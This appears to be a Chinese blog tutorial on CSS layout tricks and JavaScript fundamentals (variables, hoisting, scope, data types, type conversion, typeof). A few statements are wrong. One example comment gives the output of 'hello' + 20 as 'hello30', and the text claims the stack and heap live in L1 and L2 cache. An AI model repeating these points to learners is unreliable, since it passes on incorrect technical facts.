<span class="number">100%</span>;</span><br><span class="line">           <span class="attribute">height</span>: <span class="number">100%</span>;</span><br><span class="line">           <span class="attribute">background-color</span>: <span class="number">499</span>e56;</span><br><span class="line">       &#125;    </span><br><span class="line">  &lt;<span class="selector-tag">div</span> class=&quot;<span class="attribute">scale</span>&quot;&gt;</span><br><span class="line">       &lt;<span class="selector-tag">div</span> class=&quot;item&quot;&gt;</span><br><span class="line">           这里是所有子元素的容器</span><br><span class="line">       &lt;/<span class="selector-tag">div</span>&gt;</span><br><span class="line">&lt;/<span class="selector-tag">div</span>&gt;</span><br></pre></td></tr></table></figure><p><strong>transfrom的rotate属性在span标签下失效</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">span</span> &#123;</span><br><span class="line">  <span class="attribute">display</span>: inline-block</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>边框字体同色</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line"><span class="attribute">width</span>: <span class="number">200px</span>;</span><br><span class="line"><span class="attribute">height</span>: <span class="number">200px</span>;</span><br><span class="line"><span class="attribute">color</span>: <span class="number">#000</span>;</span><br><span class="line"><span class="attribute">font-size</span>: <span class="number">30px</span>;</span><br><span class="line"><span class="attribute">border</span>: <span class="number">50px</span> solid currentColor;</span><br><span class="line">// <span class="attribute">border</span>: <span class="number">50px</span> solid; // 实现二</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>复选框美化</strong></p><figure class="highlight less"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 复选框</span></span><br><span class="line"><span class="selector-tag">input</span> &#123;</span><br><span class="line">  <span class="selector-tag">&amp;</span><span class="selector-class">.checkbox</span> &#123;</span><br><span class="line">    -webkit-<span class="attribute">appearance</span>: none;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">14px</span> <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">14px</span> <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">background</span>: url(<span class="string">../img/checkbox14.png</span>) no-repeat;</span><br><span class="line">    <span class="attribute">cursor</span>: pointer;</span><br><span class="line">    <span class="selector-tag">&amp;</span><span class="selector-pseudo">:checked</span> &#123;</span><br><span class="line">      <span class="attribute">background</span>: url(<span class="string">../img/checkboxed14.png</span>) no-repeat;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>垂直对齐</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span>&#123;</span><br><span class="line">    <span class="attribute">position</span>: absolute;</span><br><span class="line">    <span class="attribute">top</span>: <span class="number">50%</span>;</span><br><span class="line">    -webkit-<span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">50%</span>);</span><br><span class="line">    -o-<span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">50%</span>);</span><br><span class="line">    <span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">50%</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>背景渐变动画</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">button</span> &#123;</span><br><span class="line">    <span class="attribute">background-image</span>: <span class="built_in">linear-gradient</span>(<span class="number">#5187c4</span>, <span class="number">#1c2f45</span>);</span><br><span class="line">    <span class="attribute">background-size</span>: auto <span class="number">200%</span>;</span><br><span class="line">    <span class="attribute">background-position</span>: <span class="number">0</span> <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">transition</span>: background-position <span class="number">0.5s</span>;</span><br><span class="line">&#125;    </span><br><span class="line"><span class="selector-tag">button</span><span class="selector-pseudo">:hover</span> &#123;</span><br><span class="line">    <span class="attribute">background-position</span>: <span class="number">0</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>表格列宽自适应</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">td</span> &#123;</span><br><span class="line">    <span class="attribute">white-space</span>: nowrap;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>为logo隐藏H1</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">h1</span> &#123;</span><br><span class="line">    <span class="attribute">text-indent</span>: -<span class="number">9999px</span>;</span><br><span class="line">    <span class="attribute">margin</span>: <span class="number">0</span> auto;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">320px</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">85px</span>;</span><br><span class="line">    <span class="attribute">background</span>: transparent <span class="built_in">url</span>(<span class="string">&quot;images/logo.png&quot;</span>) no-repeat scroll;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>内容垂直居中</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.container</span> &#123;</span><br><span class="line">    <span class="attribute">min-height</span>: <span class="number">6.5em</span>;</span><br><span class="line">    <span class="attribute">display</span>: table-cell;</span><br><span class="line">    <span class="attribute">vertical-align</span>: middle;</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><p><strong>CSS固定页脚</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-id">#footer</span> &#123;</span><br><span class="line">    <span class="attribute">position</span>: fixed;</span><br><span class="line">    <span class="attribute">left</span>: <span class="number">0px</span>;</span><br><span class="line">    <span class="attribute">bottom</span>: <span class="number">0px</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">30px</span>;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">background</span>: <span class="number">#444</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/* IE 6 */</span></span><br><span class="line">* <span class="selector-tag">html</span> <span class="selector-id">#footer</span> &#123;</span><br><span class="line">    <span class="attribute">position</span>: absolute;</span><br><span class="line">    <span class="attribute">top</span>: <span class="built_in">expression</span>((<span class="number">0</span><span class="built_in">-</span>(footer.offsetHeight)+(document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight)+(ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop))+<span class="string">&#x27;px&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="JavaScript"><a href="#JavaScript" class="headerlink" title="JavaScript"></a>JavaScript</h1><img src="https://i.niupic.com/images/2020/02/04/6mSu.jpg" /><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><blockquote><p>JavaScript是一门脚本语言、解释性语言、动态类型的语言、基于对象的语言</p></blockquote><p><strong>JavaScript分为三个部分</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. ECMAScript 标准                 js的基本的语法</span><br><span class="line">2. DOM (Document Object Model)   文档对象模型</span><br><span class="line">3. BOM (Browser Object Model)    浏览器对象模型</span><br></pre></td></tr></table></figure><h2 id="变量"><a href="#变量" class="headerlink" title="变量"></a>变量</h2><h3 id="变量作用"><a href="#变量作用" class="headerlink" title="变量作用"></a>变量作用</h3><p>变量是存储数据值的容器</p><h3 id="变量声明"><a href="#变量声明" class="headerlink" title="变量声明"></a>变量声明</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a; <span class="comment">// 变量声明（注：声明之后，变量是没有值的，那么它的值是undefined）</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>; <span class="comment">// 变量声明并初始化（初始化就是赋值）</span></span><br></pre></td></tr></table></figure><ul><li>使用关键词 <code>var</code>，可以用来声明<strong>局部变量</strong>和<strong>全局变量</strong>。</li><li>直接赋值。例如<code>a = 10</code>，在函数内使用这种形式赋值，会产生一个全局变量。在严格模式下会产生错误。因此你不应该使用这种方式来声明变量。</li><li>使用关键词 <code>let</code> ，可以用来声明<strong>块作用域的局部变量</strong>。</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(a === <span class="number">1</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="number">2</span>;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 2 此处a不是在函数内，所以不是局部变量，相当于重新声明的a</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    a = <span class="number">1</span>;   <span class="comment">// 在函数内使用这种形式赋值，会产生一个全局变量，在严格模式（strict mode）下会抛出 ReferenceError 异常</span></span><br><span class="line">    <span class="keyword">var</span> b = <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1 </span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// ReferenceError: b is not defined (函数内声明的变量是局部变量，外部访问不到)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 声明变量的作用域限制在其声明位置的上下文中，而非声明变量总是全局的</span></span><br><span class="line"><span class="comment">// 在函数里声明的变量是局部变量，函数外部访问不到</span></span><br></pre></td></tr></table></figure><h3 id="变量预解析"><a href="#变量预解析" class="headerlink" title="变量预解析"></a>变量预解析</h3><p><strong>预解析</strong></p><p>就是在浏览器解析代码之前，把<strong>变量的声明</strong>和<strong>函数的声明</strong>提前（提升）到该作用域的最上面</p><p>下面代码示例：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>相当于</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line">a = <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>提升将影响变量声明，而不会影响其值的初始化</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 相当于</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// undefined</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="变量作用域"><a href="#变量作用域" class="headerlink" title="变量作用域"></a>变量作用域</h3><p>在函数之外声明的变量，可被当前文档中的任何其他代码所访问，叫做<strong>全局变量</strong></p><p>在函数内部声明的变量，它只能在当前函数的内部访问，叫做<strong>局部变量</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="literal">true</span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="literal">true</span>) &#123;</span><br><span class="line"><span class="keyword">let</span> b = <span class="number">1</span>; <span class="comment">// let 和 const 只在块作用域有效，var没有块作用域概念</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// b is not defined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = b = <span class="number">1</span>; <span class="comment">// a在函数内部声明-是局部变量，b不是</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a, b); <span class="comment">// 0, 1</span></span><br><span class="line"><span class="comment">// a 是全局变量</span></span><br><span class="line"><span class="comment">// b 是隐式声明的全局变量</span></span><br></pre></td></tr></table></figure><p><strong><code>注意：全局变量如果页面不关闭，那么var变量就不会释放，就会占空间，消耗内存</code></strong></p><h2 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h2><h3 id="基本数据类型"><a href="#基本数据类型" class="headerlink" title="基本数据类型"></a>基本数据类型</h3><p>又称为简单数据类型，在内存中以固定的大小存储在栈中，按值访问</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">String</span>    <span class="title class_">Number</span>    <span class="title class_">Boolean</span>    <span class="literal">undefined</span>    <span class="literal">null</span>    <span class="title class_">Symbol</span> </span><br><span class="line">字符串      数值      布尔值      未定义       空    (es6新增)</span><br></pre></td></tr></table></figure><p><strong>String</strong></p><p>由多个16位Unicode字符组成的字符序列，用单引号或双引号表示</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> str = <span class="string">&#x27;123&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>Number</strong></p><p>采用了IEEE754格式来表示整数和浮点数值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> num = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">var</span> num = <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p><strong>Boolean</strong></p><p>只有两个值<code>true</code>和<code>false</code>，全为小写</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> flag = <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">var</span> flag = <span class="literal">false</span>;</span><br></pre></td></tr></table></figure><table><thead><tr><th>数据类型</th><th>转为true</th><th>转为false</th></tr></thead><tbody><tr><td>Boolean</td><td>true</td><td>false</td></tr><tr><td>String</td><td>任何非空字符串</td><td>“ “（空字符串）</td></tr><tr><td>Number</td><td>任何非零数字（包括无穷大），如2，-1，3</td><td>0和NaN</td></tr><tr><td>Object</td><td>任何对象</td><td>null</td></tr><tr><td>Undefined</td><td>not applicable（不适用）</td><td>undefined</td></tr></tbody></table><p><strong>null</strong></p><p>null 类型的值只有一个，就是null，专门用来表示一个空的对象，使用 typeof 操作符检测 null 值时会返回<code>object</code></p><p>null 值的主要作用是如果定义的变量在将来用于保存对象，那么最好将该变量初始化为<strong>null</strong>值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typeof</span> <span class="literal">null</span>; <span class="comment">// object</span></span><br></pre></td></tr></table></figure><p>null不是一个对象，但为什么typeof null === object?</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">这是js存在的一个悠久Bug，js的最初版本中使用的是32位系统，为了性能考虑使用低位存储变量的类型信息，在js中如果二进制的前三位都为0，就会被判断为object类型，null的二进制全为0，所以将它错误的判断为object，故 typeof null === &#x27;object&#x27;</span><br><span class="line">也可以一句话带过：历史遗留原因，后期不改了</span><br></pre></td></tr></table></figure><p><strong>undefined</strong></p><p>undefined 类型的值只有一个，就是undefined，表示未定义，即声明了为赋值</p><p>这个类型只有一个值，在声明变量未进行赋值时，这个变量的值就是undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typeof</span> <span class="literal">undefined</span>;   <span class="comment">// undefined</span></span><br></pre></td></tr></table></figure><h3 id="引用数据类型"><a href="#引用数据类型" class="headerlink" title="引用数据类型"></a>引用数据类型</h3><p>又称复杂数据类型或对象类型，存储在堆中，且大小不固定，同时在栈中会存储其指向堆地址的指针，按引用来访问</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Object</span>    <span class="title class_">Array</span>    <span class="title class_">Function</span></span><br><span class="line"> 对象      数组       函数</span><br></pre></td></tr></table></figure><p><strong>Object</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br></pre></td></tr></table></figure><p><strong>Array</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = <span class="keyword">new</span> <span class="title class_">Array</span>();</span><br></pre></td></tr></table></figure><p><strong>Function</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="数据类型区别"><a href="#数据类型区别" class="headerlink" title="数据类型区别"></a>数据类型区别</h3><p><strong>基本类型</strong>的值是不可变得、基本类型的比较是值的比较、基本类型的变量是存放在<strong>栈</strong>的</p><p><strong>引用类型</strong>的值是可变的、引用类型的比较是引用的比较、引用类型的值是保存在<strong>堆</strong>中</p><p>示例：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a1 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">var</span> a2 = <span class="string">&#x27;this is str&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> a3 = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">var</span> c = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> b = &#123; <span class="attr">m</span>: <span class="number">20</span> &#125;;</span><br></pre></td></tr></table></figure><img src="https://user-gold-cdn.xitu.io/2019/6/25/16b8c0b5752823f6?imageView2/0/w/1280/h/960/format/webp/ignore-error/1" /><p>基本数据类型保存在栈内存中，因为基本数据类型占用空间小、大小固定，通过按值来访问，属于被频繁使用的数据</p><p>引用数据类型存储在堆内存中，因为引用数据类型占据空间大、占用内存不固定。 如果存储在栈中，将会影响程序运行的性能； 引用数据类型在栈中存储了指针，该指针指向堆中该实体的起始地址。 当解释器寻找引用值时，会首先检索其在栈中的地址，取得地址后从堆中获得实体</p><p><strong>栈和堆的区别</strong></p><ol><li><p>栈由系统自动分配释放，堆由程序员分配释放</p></li><li><p>栈使用的是一级缓存，通常都是被调用时处于存储空间中，调用完毕立即释放；堆则是存放在二级缓存中，生命周期由虚拟机的垃圾回收算法来决定</p></li><li><p>栈是一种先进后出的数据结构，堆可以被看成是一棵树</p></li></ol><h3 id="数据类型转换"><a href="#数据类型转换" class="headerlink" title="数据类型转换"></a>数据类型转换</h3><p><strong>如何使用谷歌浏览器，快速的查看数据类型？</strong></p><p>字符串的颜色是<code>黑色</code>的，数值类型是<code>蓝色</code>的，布尔类型也是<code>蓝色</code>的，undefined和null是<code>灰色</code>的</p><p>在包含的数字和字符串的表达式中使用加法运算符（+），JavaScript 会把数字转换成字符串</p><p>在涉及其它运算符（译注：如下面的减号’-‘）时，JavaScript语言不会把数字变为字符串</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span> + <span class="number">20</span>); <span class="comment">// hello30</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;1&#x27;</span> + <span class="number">2</span>); <span class="comment">// 12</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span> + <span class="string">&#x27;2&#x27;</span>); <span class="comment">// 12</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;2&#x27;</span> - <span class="number">1</span>); <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span> - <span class="string">&#x27;1&#x27;</span>); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><h4 id="数值转字符串"><a href="#数值转字符串" class="headerlink" title="数值转字符串"></a>数值转字符串</h4><p><strong>String()：全局方法</strong></p><p>把数字、文字、变量或表达式转为字符串；</p><p>有些值没有toString()，这个时候可以使用String()，比如：undefined和null</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">String</span>(<span class="number">3.14</span>); <span class="comment">// 3.14</span></span><br><span class="line"><span class="title class_">String</span>(<span class="number">1</span> + <span class="number">2</span>); <span class="comment">// 3</span></span><br><span class="line"><span class="title class_">String</span>(<span class="literal">true</span>); <span class="comment">// true</span></span><br><span class="line"><span class="title class_">String</span>(<span class="literal">null</span>); <span class="comment">// null</span></span><br><span class="line"><span class="title class_">String</span>(<span class="literal">undefined</span>); <span class="comment">// undefined</span></span><br><span class="line"><span class="title class_">String</span>(<span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;&#125;); <span class="comment">// function fn() &#123;&#125;</span></span><br><span class="line"><span class="title class_">String</span>(&#123;&#125;); <span class="comment">// [object Object]</span></span><br><span class="line"><span class="title class_">String</span>([]); <span class="comment">// &quot;&quot;</span></span><br><span class="line"><span class="title class_">String</span>(<span class="title class_">NaN</span>); <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><p><strong>toString()：数字方法，不能把null和undefined转为字符串</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">(<span class="number">3</span>).<span class="title function_">toString</span>(); <span class="comment">// 3</span></span><br><span class="line"><span class="string">&#x27;hello&#x27;</span>.<span class="title function_">toString</span>(); <span class="comment">// hello</span></span><br><span class="line"><span class="literal">true</span>.<span class="title function_">toString</span>(); <span class="comment">// true</span></span><br><span class="line">[].<span class="title function_">toString</span>(); <span class="comment">// &quot;&quot;</span></span><br><span class="line"><span class="title class_">NaN</span>.<span class="title function_">toString</span>(); <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="literal">null</span>.<span class="title function_">toString</span>(); <span class="comment">// Cannot read property &#x27;toString&#x27; of null</span></span><br><span class="line"><span class="literal">undefined</span>.<span class="title function_">toString</span>(); <span class="comment">// Cannot read property &#x27;toString&#x27; of undefined</span></span><br><span class="line">&#123;&#125;.<span class="title function_">toString</span>(); <span class="comment">// Uncaught SyntaxError: Unexpected token</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> b;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b.<span class="title function_">toString</span>()); <span class="comment">// 报错，b声明了未赋值，为undefined</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="literal">null</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c.<span class="title function_">toString</span>()); <span class="comment">// 报错</span></span><br></pre></td></tr></table></figure><h4 id="字符串转数值"><a href="#字符串转数值" class="headerlink" title="字符串转数值"></a>字符串转数值</h4><p><strong>Number()：全局方法，较严格</strong></p><p>可把字符串转换为数字，较严格</p><p>可以把任意值转换成数值，<strong>如果要转换的字符串中有一个不是数值的字符，返回NaN</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;3.14&#x27;</span>); <span class="comment">// 3.14</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;11 22&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;&#x27;</span>); <span class="comment">// 0</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;hello&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="string">&#x27;10abc&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="literal">true</span>); <span class="comment">// 1</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="literal">false</span>); <span class="comment">// 0</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="literal">null</span>); <span class="comment">// 0</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="literal">undefined</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="title class_">NaN</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="title class_">Number</span>(<span class="keyword">new</span> <span class="title class_">Date</span>()); <span class="comment">// 1615950656720 获取时间戳</span></span><br><span class="line"><span class="title class_">Number</span>(&#123;&#125;); <span class="comment">// NaN</span></span><br><span class="line"><span class="title class_">Number</span>([]); <span class="comment">// 0</span></span><br><span class="line"><span class="title class_">Number</span>([<span class="number">1</span>,<span class="number">2</span>]); <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><p><strong>parseInt()</strong></p><p>转整数，解析一段字符串并返回数值。允许空格。只返回首个数字</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">parseInt</span>(<span class="number">10.5</span>); <span class="comment">// 10</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;10.5&#x27;</span>); <span class="comment">// 10</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;10hello&#x27;</span>); <span class="comment">// 10</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;hello&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;hello10&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="string">&#x27;10 20&#x27;</span>); <span class="comment">// 10</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="literal">null</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseInt</span>(<span class="literal">undefined</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseInt</span>([]); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseInt</span>(&#123;&#125;); <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><p><strong>parseFloat()</strong></p><p>转小数，解析一段字符串并返回数值。允许空格。只返回首个数字</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">parseFloat</span>(<span class="number">10</span>); <span class="comment">// 10</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="number">10.5</span>); <span class="comment">// 10.5</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="string">&#x27;10&#x27;</span>); <span class="comment">// 10</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="string">&#x27;10.5&#x27;</span>); <span class="comment">// 10.5</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="string">&#x27;10.5abc&#x27;</span>); <span class="comment">// 10.5</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="string">&#x27;10abc&#x27;</span>); <span class="comment">// 10</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="string">&#x27;abc10&#x27;</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="literal">null</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseFloat</span>(<span class="literal">undefined</span>); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseFloat</span>([]); <span class="comment">// NaN</span></span><br><span class="line"><span class="built_in">parseFloat</span>(&#123;&#125;); <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><h3 id="数据类型检测"><a href="#数据类型检测" class="headerlink" title="数据类型检测"></a>数据类型检测</h3><h4 id="typeof"><a href="#typeof" class="headerlink" title="typeof"></a>typeof</h4><p><strong>作用</strong></p><ol><li>使用typeof 获取变量的类型</li><li>typeof 来获取一个变量是否存在，变量不存在则返回 undefined</li></ol><p><strong>typeof返回的数据类型</strong>（基本数据类型使用typeof检测）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title class_">String</span>    <span class="title class_">Number</span>    <span class="title class_">Boolean</span>    <span class="literal">undefined</span>    <span class="title class_">Object</span>    <span class="title class_">Function</span></span><br></pre></td></tr></table></figure><p>*<em>typeof 运算符把对象、数组或 null 返回 object，所以返回类型没有 array 和 null *</em></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typeof</span> <span class="string">&#x27;&#x27;</span>; <span class="comment">// string 空的字符串变量既有值也有类型</span></span><br><span class="line"><span class="keyword">typeof</span> <span class="string">&#x27;hello&#x27;</span>; <span class="comment">// string</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> <span class="number">10</span>; <span class="comment">// number</span></span><br><span class="line"><span class="keyword">typeof</span> <span class="title class_">NaN</span>; <span class="comment">// number</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> <span class="literal">true</span>; <span class="comment">// boolean</span></span><br><span class="line"><span 